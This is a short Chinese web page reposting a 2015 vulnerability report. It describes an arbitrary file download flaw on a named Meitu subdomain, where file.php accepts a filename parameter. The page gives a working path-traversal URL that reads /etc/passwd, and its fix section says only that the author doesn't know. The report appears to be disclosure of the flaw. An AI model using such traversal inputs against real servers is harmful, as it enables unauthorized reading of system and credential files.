美图某分站任意文件下载 - 网站安全

美图某分站任意文件下载 - 网站安全 - 自学php

来源：自学PHP网时间：2015-04-17 11:59 作者：阅读:次

[导读] 查询子域名发现http://sina.moban.meitu.com/linjunjie/01/发现这个下载图片，是用file.PHP下载的试试看，能不能下载etc/PASSWD，成功了http://sina.moban.meitu.com/file.php?filename=../../../../etc/passwd修......

查询子域名发现

http://sina.moban.meitu.com/linjunjie/01/

发现这个下载图片，是用file.PHP下载的

试试看，能不能下载etc/PASSWD，成功了

http://sina.moban.meitu.com/file.php?filename=../../../../etc/passwd

修复方案：

不会

常用的后台上传拿shell - 网站安全 - 自学php

唯品会(Vipshop) 目录遍历与文件包含 - 网站安全

子栏目

美图某分站任意文件下载 - 网站安全 - 自学php

最新评论

添加评论

更多文章推荐

添加评论